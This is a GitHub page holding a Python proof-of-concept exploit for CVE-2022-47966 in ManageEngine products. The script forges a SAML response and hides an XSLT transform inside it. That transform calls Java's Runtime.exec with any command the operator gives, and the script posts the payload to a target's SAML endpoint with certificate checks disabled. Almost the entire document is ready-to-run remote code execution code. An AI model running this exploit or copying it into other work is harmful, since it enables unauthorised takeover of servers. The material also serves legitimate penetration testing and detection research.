Sign in

horizon3ai / CVE-2022-47966 Public

Notifications Fork 32 Star 124

Code Pull requests Actions Projects Security Insights

CVE-2022-47966 / CVE-2022-47966.py

61 lines (56 loc) · 3.11 KB

Code Blame Raw

```
import urllib3
import base64
import requests
import argparse

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

parser = argparse.ArgumentParser(description='ManageEngine CVE-2022-47966')
parser.add_argument('--url', type=str, required=True, help='Target SAML endpoint')
parser.add_argument('--command', type=str, required=True, help="Argument to Java's Runtime.exec met
parser.add_argument('--issuer', type=str, required=False, default="issuer", help="Issuer for SAML a
args = parser.parse_args()

url = args.url
command = args.command
issuer = args.issuer

saml = f"""<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response
  ID="_eddc1e5f-8c87-4e55-8309-c6d69d6c2adf"
  InResponseTo="_4b05e414c4f37e41789b6ef1bdaaa9ff"
  IssueInstant="2023-01-16T13:56:46.514Z" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:pr
  <samlp:Status>
    <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
  </samlp:Status>
  <Assertion ID="_b5a2e9aa-8955-4ac6-94f5-334047882600"
```

```
    IssueInstant="2023-01-16T13:56:46.498Z" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assert
    <Issuer>{issuer}</Issuer>
    <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
      <ds:SignedInfo>
        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
        <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
        <ds:Reference URI="#_b5a2e9aa-8955-4ac6-94f5-334047882600">
          <ds:Transforms>
            <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
            <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
              <xsl:stylesheet version="1.0"
                xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
                xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www
                <xsl:template match="/">
                  <xsl:variable name="rtobject" select="rt:getRuntime()"/>
                  <xsl:variable name="process" select="rt:exec($rtobject,'{command}')"/>
                  <xsl:variable name="processString" select="ob:toString($process)"/>
                  <xsl:value-of select="$processString"/>
                </xsl:template>
              </xsl:stylesheet>
            </ds:Transform>
          </ds:Transforms>
          <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
          <ds:DigestValue>H7gKuO6t9MbCJZujA9S7WlLFgdqMuNe0145KRwKl000=</ds:DigestValue>
        </ds:Reference>
      </ds:SignedInfo>
      <ds:SignatureValue>RbBWB6AIP8AN1wTZN6YYCKdnClFoh8GqmU2RXoyjmkr6I0AP371IS7jxSMS2zxFCdZ80kInvgV
      <ds:KeyInfo/>
    </ds:Signature>
  </Assertion>
</samlp:Response>
"""

d = {'SAMLResponse': base64.b64encode(saml.encode())}
requests.post(url, data=d, verify=False)
```